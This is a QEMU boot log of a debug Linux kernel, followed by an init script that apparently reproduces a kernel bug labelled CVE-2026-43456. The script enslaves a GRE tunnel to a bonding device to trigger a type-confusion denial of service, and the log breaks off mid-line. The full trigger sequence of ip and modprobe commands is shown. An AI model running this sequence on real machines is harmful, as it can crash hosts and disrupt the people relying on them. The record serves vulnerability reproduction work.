c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] System RAM [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff] [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] System RAM [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000c0000000-0x00000000fffbffff] [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] System RAM [ 0.000000] BIOS-e820: [gap 0x0000000140000000-0x000000fcffffffff] [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] device reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.082 MHz processor [ 0.018641] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.019308] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.019542] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.020359] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.038937] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.050855] ACPI: Early table checksum verification disabled [ 0.051371] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.051758] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.052617] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053366] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053580] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.053695] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053805] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053890] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054034] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.054085] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.054116] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.054145] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.054173] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.054201] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.060039] No NUMA configuration found [ 0.060084] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.060920] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.158682] KernelAddressSanitizer initialized (generic) [ 0.159364] ACPI: PM-Timer IO Port: 0x608 [ 0.160015] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.160660] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.160908] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.161233] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.161301] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.161402] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.161455] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.161865] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.161951] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.162550] CPU topo: Max. logical packages: 1 [ 0.162631] CPU topo: Max. logical dies: 1 [ 0.162654] CPU topo: Max. dies per package: 1 [ 0.162790] CPU topo: Max. threads per core: 1 [ 0.168594] CPU topo: Num. cores per package: 4 [ 0.168639] CPU topo: Num. threads per package: 4 [ 0.168659] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 0.169881] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.169957] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.169995] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 0.170184] [gap 0xc0000000-0xfffbffff] available for PCI devices [ 0.170274] Booting paravirtualized kernel on bare hardware [ 0.170715] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.275642] Zone ranges: [ 0.275785] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.275983] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.276027] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.276069] Movable zone start for each node [ 0.276104] Early memory node ranges [ 0.276136] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.276291] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.276352] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.276529] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.278027] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.281091] On node 0, zone DMA: 97 pages in unavailable ranges [ 1.033543] On node 0, zone Normal: 35 pages in unavailable ranges [ 1.034180] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 1.036833] percpu: Embedded 64 pages/cpu s225048 r8192 d28904 u524288 [ 1.039670] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 1.042299] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 1.042690] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 1.045501] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 1.046999] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 1.051171] software IO TLB: area num 4. [ 1.142040] Fallback order for Node 0: 0 [ 1.142614] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.142684] Policy zone: Normal [ 1.142996] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.143065] stackdepot: allocating hash table via alloc_large_system_hash [ 1.143165] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.166782] stackdepot: allocating space for 8192 stack pools via memblock [ 1.457095] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.476883] Dynamic Preempt: lazy [ 1.487864] rcu: Preemptible hierarchical RCU implementation. [ 1.487900] rcu: RCU event tracing is enabled. [ 1.487955] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.488075] Trampoline variant of Tasks RCU enabled. [ 1.488092] Tracing variant of Tasks RCU enabled. [ 1.488218] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.488261] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.491051] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.918187] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 1.930903] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.940918] Console: colour VGA+ 80x25 [ 1.943710] printk: legacy console [ttyS0] enabled [ 1.970844] ACPI: Core revision 20251212 [ 1.985390] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.992125] APIC: Switch to symmetric I/O mode setup [ 2.001571] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 2.009026] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3e933905f, max_idle_ns: 440795317020 ns [ 2.009982] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.16 BogoMIPS (lpj=3000082) [ 2.014958] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 2.015191] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 2.015716] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 2.016453] Spectre V2 : Mitigation: Retpolines [ 2.016866] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 2.017253] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 2.020789] x86/fpu: x87 FPU will use FXSAVE [ 2.475894] Freeing SMP alternatives memory: 52K [ 2.477180] pid_max: default: 32768 minimum: 301 [ 2.493302] SELinux: Initializing. [ 2.507258] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.507671] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.525791] VFS: Finished mounting rootfs on nullfs [ 2.667590] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.689528] Performance Events: PMU not available due to virtualization, using software events only. [ 2.691069] signal: max sigframe size: 1440 [ 2.693897] rcu: Hierarchical SRCU implementation. [ 2.694081] rcu: Max phase no-delay instances is 400. [ 2.697409] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 2.720546] smp: Bringing up secondary CPUs ... [ 2.734576] smpboot: x86: Booting SMP configuration: [ 2.734842] .... node #0, CPUs: #1 #2 #3 [ 2.954705] smp: Brought up 1 node, 4 CPUs [ 2.955688] smpboot: Total of 4 processors activated (24002.71 BogoMIPS) [ 2.976591] Memory: 3430160K/4193772K available (28794K kernel code, 9175K rwdata, 12384K rodata, 5752K init, 820K bss, 758220K reserved, 0K cma-reserved) [ 2.997714] devtmpfs: initialized [ 3.050935] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 3.053168] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 3.054218] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 3.061998] PM: RTC time: 09:53:42, date: 2026-07-03 [ 3.075993] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 3.089224] audit: initializing netlink subsys (disabled) [ 3.093110] audit: type=2000 audit(1783072422.097:1): state=initialized audit_enabled=0 res=1 [ 3.106188] thermal_sys: Registered thermal governor 'step_wise' [ 3.106959] cpuidle: using governor menu [ 3.118070] PCI: Using configuration type 1 for base access [ 3.120356] mtrr: your CPUs had inconsistent fixed MTRR settings [ 3.120551] mtrr: your CPUs had inconsistent variable MTRR settings [ 3.120680] mtrr: your CPUs had inconsistent MTRRdefType settings [ 3.120864] mtrr: probably your BIOS does not setup all CPUs. [ 3.121391] mtrr: corrected configuration. [ 3.126232] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 3.137012] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 3.137700] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 3.153191] ACPI: Added _OSI(Module Device) [ 3.153371] ACPI: Added _OSI(Processor Device) [ 3.153505] ACPI: Added _OSI(Processor Aggregator Device) [ 3.623347] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 3.661869] ACPI: \_SB_: platform _OSC: OS support mask [002a7eee] [ 3.704168] ACPI: Interpreter enabled [ 3.707462] ACPI: PM: (supports S0 S3 S4 S5) [ 3.707764] ACPI: Using IOAPIC for interrupt routing [ 3.709575] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 3.710704] PCI: Using E820 reservations for host bridge windows [ 3.731053] ACPI: Enabled 2 GPEs in block 00 to 0F [ 4.427874] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 4.429461] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 4.429783] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 4.432314] acpi PNP0A03:00: _OSC: platform retains control of PCIe features (AE_ERROR) [ 4.434669] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 4.447661] PCI host bridge to bus 0000:00 [ 4.450031] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 4.450491] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 4.450735] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 4.451122] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 4.451391] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 4.451930] pci_bus 0000:00: root bus resource [bus 00-ff] [ 4.455190] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 4.475265] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 4.489393] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 4.490940] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 4.491512] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 4.491702] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 4.492711] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 4.492937] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 4.508440] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 4.510094] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 4.510730] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 4.525378] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 4.526628] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 4.527681] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 4.528743] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 4.529991] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 4.545553] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 4.546748] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 4.546992] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 4.547702] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 4.792119] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 4.793672] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 4.794678] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 4.794974] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 5.091312] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 5.111193] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 5.130227] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 5.149445] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 5.156920] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 5.232845] iommu: Default domain type: Translated [ 5.233083] iommu: DMA domain TLB invalidation policy: lazy mode [ 5.249030] SCSI subsystem initialized [ 5.256896] ACPI: bus type USB registered [ 5.259915] usbcore: registered new interface driver usbfs [ 5.261375] usbcore: registered new interface driver hub [ 5.262409] usbcore: registered new device driver usb [ 5.264722] pps_core: LinuxPPS API ver. 1 registered [ 5.265676] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 5.267681] PTP clock support registered [ 5.278030] Advanced Linux Sound Architecture Driver Initialized. [ 5.304847] NetLabel: Initializing [ 5.305022] NetLabel: domain hash size = 128 [ 5.305199] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 5.307721] NetLabel: unlabeled traffic allowed by default [ 5.318411] PCI: Using ACPI for IRQ routing [ 5.319716] e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff] [ 5.320952] e820: register RAM buffer resource [mem 0xbffdd000-0xbfffffff] [ 5.325620] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 5.325628] pci 0000:00:02.0: vgaarb: bridge control possible [ 5.325628] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 5.325713] vgaarb: loaded [ 5.329783] hpet: 3 channels of 0 reserved for per-cpu timers [ 5.331068] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 5.331721] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 5.339620] clocksource: Switched to clocksource tsc-early [ 5.360933] VFS: Disk quotas dquot_6.6.0 [ 5.362408] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 5.385912] pnp: PnP ACPI init [ 5.446973] pnp: PnP ACPI: found 6 devices [ 5.631508] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 5.636871] NET: Registered PF_INET protocol family [ 5.639987] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 5.666518] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 5.667141] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 5.668072] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 5.670129] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 5.677551] TCP: Hash tables configured (established 32768 bind 32768) [ 5.680357] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.681596] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.687768] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 5.700256] RPC: Registered named UNIX socket transport module. [ 5.700501] RPC: Registered udp transport module. [ 5.700639] RPC: Registered tcp transport module. [ 5.700768] RPC: Registered tcp-with-tls transport module. [ 5.700950] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 5.725518] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 5.725782] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 5.726475] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 5.726703] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 5.726930] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 5.733119] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 5.733502] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 5.734139] PCI: CLS 0 bytes, default 64 [ 5.735354] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 5.735619] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 5.793550] Initialise system trusted keyrings [ 5.799001] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 5.831129] NFS: Registering the id_resolver key type [ 5.832923] Key type id_resolver registered [ 5.833880] Key type id_legacy registered [ 5.834948] nfs4filelayout_init: NFSv4 File Layout Driver Registering... [ 5.836674] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering... [ 5.842538] 9p: Installing v9fs 9p2000 file system support [ 6.110560] Key type asymmetric registered [ 6.111741] Asymmetric key parser 'x509' registered [ 6.112506] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 6.117241] io scheduler mq-deadline registered [ 6.118268] io scheduler kyber registered [ 6.131884] input: Power Button as /devices/platform/LNXPWRBN:00/input/input0 [ 6.137332] ACPI: button: Power Button [PWRF] [ 6.591591] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 6.604869] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 6.620303] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 6.677527] Non-volatile memory driver v1.3 [ 6.677903] Linux agpgart interface v0.103 [ 6.685601] ACPI: bus type drm_connector registered [ 6.764292] tsc: Refined TSC clocksource calibration: 3000.162 MHz [ 6.765138] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3ede8ebf3, max_idle_ns: 440795254787 ns [ 6.766045] clocksource: Switched to clocksource tsc [ 6.886575] loop: module loaded [ 6.889293] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 6.926383] virtio_blk virtio0: [vda] 407536 512-byte logical blocks (209 MB/199 MiB) [ 7.030618] scsi host0: ata_piix [ 7.044808] scsi host1: ata_piix [ 7.050802] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 7.051673] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 7.085322] e100: Intel(R) PRO/100 Network Driver [ 7.085678] e100: Copyright(c) 1999-2006 Intel Corporation [ 7.087512] e1000: Intel(R) PRO/1000 Network Driver [ 7.087714] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 7.211865] ata2: found unknown device (class 0) [ 7.219620] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 7.239857] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 7.287345] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 7.288347] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 7.342745] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 7.528226] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 7.843646] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 7.844754] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 7.846954] e1000e: Intel(R) PRO/1000 Network Driver [ 7.847413] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 7.848764] sky2: driver version 1.30 [ 7.865873] usbcore: registered new interface driver usblp [ 7.867741] usbcore: registered new interface driver usb-storage [ 7.871522] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 7.878818] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 7.879761] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 7.903521] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 7.922397] rtc_cmos 00:05: RTC can wake from S4 [ 7.944262] rtc_cmos 00:05: registered as rtc0 [ 7.947619] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 7.956420] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 7.957307] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 7.958704] hid: raw HID events driver (C) Jiri Kosina [ 7.981395] usbcore: registered new interface driver usbhid [ 7.981609] usbhid: USB HID core driver [ 8.008463] Initializing XFRM netlink socket [ 8.011580] NET: Registered PF_INET6 protocol family [ 8.039497] Segment Routing with IPv6 [ 8.040600] In-situ OAM (IOAM) with IPv6 [ 8.042884] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 8.058764] NET: Registered PF_PACKET protocol family [ 8.061980] 9pnet: Installing 9P2000 support [ 8.063347] Key type dns_resolver registered [ 8.082633] IPI shorthand broadcast: enabled [ 8.367239] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 8.659343] sched_clock: Marking stable (8596084221, 62983298)->(8685848461, -26780942) [ 8.672951] registered taskstats version 1 [ 8.673295] Loading compiled-in X.509 certificates [ 9.000525] Demotion targets for Node 0: null [ 9.008811] PM: Magic number: 2:523:878 [ 9.010360] netconsole: network logging started [ 9.015575] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 9.030646] kworker/u16:4 (71) used greatest stack depth: 29336 bytes left [ 9.055337] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 9.060385] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 9.064837] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 9.065564] ALSA device list: [ 9.065678] No soundcards found. [ 9.066396] cfg80211: failed to load regulatory.db [ 9.077487] md: Waiting for all devices to be available before autodetect [ 9.077970] md: If you don't use raid, use raid=noautodetect [ 9.078808] md: Autodetecting RAID arrays. [ 9.078961] md: autorun ... [ 9.079397] md: ... autorun DONE. [ 9.113675] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 9.159995] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 9.197431] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 9.198861] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 9.208238] devtmpfs: mounted [ 9.251570] VFS: Pivoted into new rootfs [ 9.352904] Freeing unused kernel image (initmem) memory: 5752K [ 9.353615] Write protecting the kernel read-only data: 45056k [ 9.366242] Freeing unused kernel image (text/rodata gap) memory: 1924K [ 9.372867] Freeing unused kernel image (rodata/data gap) memory: 1952K [ 9.865513] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 9.866474] Run /init as init process [init] === CVE-2026-43456 bonding header_ops type-confusion DoS trigger === [init] cmd: uname -r 7.0.0-rc2 [ 10.221817] uname (79) used greatest stack depth: 26632 bytes left [ 10.234327] sh (77) used greatest stack depth: 26248 bytes left [init] cmd: cat /proc/version Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 10.746213] modprobe (84) used greatest stack depth: 24912 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip_gre 2>&1 || /sbin/insmod /root/mods/ip_gre.ko 2>&1 || true [ 10.982450] gre: GRE over IPv4 demultiplexer driver [ 11.008956] ip_gre: GRE over IPv4 tunneling driver [init] cmd: /sbin/modprobe gre 2>&1 || true [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] STEP: underlay dummy0 (10.0.0.1/24) [init] cmd: /sbin/ip link set lo up [ 11.439209] ip (95) used greatest stack depth: 24744 bytes left [init] cmd: /sbin/ip link add dummy0 type dummy 2>&1 || true RTNETLINK answers: File exists [init] cmd: /sbin/ip addr add 10.0.0.1/24 dev dummy0 2>&1 || true [init] cmd: /sbin/ip link set dummy0 up 2>&1 || true [init] STEP: gre1 (IPv4 GRE, local 10.0.0.1) -> bond1 (active-backup) [init] cmd: /sbin/ip link add gre1 type gre local 10.0.0.1 2>&1 || true [init] cmd: /sbin/ip link add bond1 type bond mode active-backup 2>&1 || true [init] cmd: /sbin/ip link set gre1 master bond1 2>&1 || true [ 12.057536] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 12.058212] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 12.075280] bond1: (slave gre1): making interface the new active one [ 12.077774] bond1: (slave gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set gre1 up 2>&1 || true [init] cmd: /sbin/ip link set bond1 up 2>&1 || true [ 12.261244] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true [ 12.349447] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 12.349693] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip -d link show bond1 2>&1 || true [ 12.668613] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 10: bond1: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 [ 12.700996] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 